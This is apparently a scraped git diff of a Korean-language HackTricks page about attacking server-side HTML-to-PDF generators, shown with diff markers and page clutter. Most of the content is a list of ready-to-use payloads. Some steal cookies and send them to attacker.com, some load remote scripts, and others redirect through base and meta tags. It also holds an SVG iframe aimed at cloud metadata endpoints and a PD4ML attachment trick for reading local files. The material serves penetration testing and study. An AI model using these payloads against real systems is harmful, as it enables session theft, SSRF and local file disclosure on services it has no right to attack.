- Node.js 환경에서 작업하는 경우, **PDFKit**이 유용한 옵션을 제공합니다. HTML 및 CSS에서 직접 PDF 문서를 생성할 수 있어 웹 콘텐츠와 인쇄 가능한 형식 간의 다리를 제공합니다.
|
||||
- Java 개발자는 PDF 생성뿐만 아니라 디지털 서명 및 양식 작성과 같은 고급 기능을 지원하는 **iText** 라이브러리를 선호할 수 있습니다. 이 포괄적인 기능 세트는 안전하고 상호작용이 가능한 문서를 생성하는 데 적합합니다.
|
||||
- **FPDF**는 단순성과 사용 용이성으로 구별되는 또 다른 PHP 라이브러리입니다. 광범위한 기능 없이 PDF 생성을 위한 간단한 접근 방식을 찾는 개발자를 위해 설계되었습니다.
|
||||
|
||||
## Payloads
|
||||
|
||||
### Discovery
|
||||
```html
|
||||
<!-- Basic discovery, Write somthing-->
|
||||
<!-- Basic discovery, Write something-->
|
||||
<img src="x" onerror="document.write('test')" />
|
||||
<script>document.write(JSON.stringify(window.location))</script>
|
||||
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
|
||||
@ -32,10 +32,26 @@
|
||||
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
|
||||
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
|
||||
<link rel=attachment href="http://attacker.com">
|
||||
|
||||
<!-- Using base HTML tag -->
|
||||
<base href="http://attacker.com" />
|
||||
|
||||
<!-- Loading external stylesheet -->
|
||||
<link rel="stylesheet" src="http://attacker.com" />
|
||||
|
||||
<!-- Meta-tag to auto-refresh page -->
|
||||
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
|
||||
|
||||
<!-- Loading external components -->
|
||||
<input type="image" src="http://attacker.com" />
|
||||
<video src="http://attacker.com" />
|
||||
<audio src="http://attacker.com" />
|
||||
<audio><source src="http://attacker.com"/></audio>
|
||||
<svg src="http://attacker.com" />
|
||||
```
|
||||
### SVG
|
||||
|
||||
이전의 모든 페이로드는 이 SVG 페이로드 내에서 사용될 수 있습니다. Burpcollab 서브도메인에 접근하는 iframe과 메타데이터 엔드포인트에 접근하는 또 다른 iframe이 예로 제시됩니다.
|
||||
이전의 모든 페이로드는 이 SVG 페이로드 내에서 사용할 수 있습니다. Burpcollab 서브도메인에 접근하는 iframe과 메타데이터 엔드포인트에 접근하는 또 다른 iframe이 예로 제시됩니다.
|
||||
```html
|
||||
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
||||
<g>
|
||||
@ -71,7 +87,7 @@ if not, you will at least have wich path the bot is accessing -->
|
||||
```
|
||||
### Load an external script
|
||||
|
||||
이 취약점을 악용하는 가장 적합한 방법은 취약점을 이용하여 봇이 로컬에서 제어하는 스크립트를 로드하도록 만드는 것입니다. 그러면 로컬에서 페이로드를 변경하고 매번 동일한 코드로 봇이 이를 로드하도록 할 수 있습니다.
|
||||
이 취약점을 악용하는 가장 적합한 방법은 취약점을 이용하여 봇이 로컬에서 당신이 제어하는 스크립트를 로드하게 만드는 것입니다. 그러면 로컬에서 페이로드를 변경하고 매번 동일한 코드로 봇이 이를 로드하게 할 수 있습니다.
|
||||
```html
|
||||
<script src="http://attacker.com/myscripts.js"></script>
|
||||
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
||||
@ -151,9 +167,9 @@ checkPort(i);
|
||||
|
||||
### Attachments: PD4ML
|
||||
|
||||
**PDF에 대한 첨부파일을 지정할 수 있는** HTML 2 PDF 엔진이 몇 가지 있습니다, 예를 들어 **PD4ML**. 이 기능을 악용하여 **로컬 파일을 PDF에 첨부할 수 있습니다**.\
|
||||
첨부파일을 열기 위해 **Firefox로 파일을 열고 클립 기호를 더블 클릭하여** 첨부파일을 **새 파일로 저장했습니다**.\
|
||||
burp로 **PDF 응답을 캡처하면 PDF 내에서 첨부파일이 일반 텍스트로 표시됩니다**.
|
||||
PDF에 **첨부파일을 지정할 수 있는** HTML 2 PDF 엔진이 몇 가지 있습니다, 예를 들어 **PD4ML**. 이 기능을 악용하여 **로컬 파일을 PDF에 첨부**할 수 있습니다.\
|
||||
첨부파일을 열기 위해 **Firefox로 파일을 열고 클립 기호를 더블 클릭하여** 첨부파일을 새 파일로 **저장했습니다**.\
|
||||
burp로 **PDF 응답을 캡처하면** PDF 내에서 **첨부파일이 일반 텍스트로 표시됩니다**.
|
||||
```html
|
||||
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
|
||||
<html>
|
||||
@ -169,5 +185,6 @@ icon="Paperclip" />
|
||||
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
|
||||
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
|
||||
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
|
||||
- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user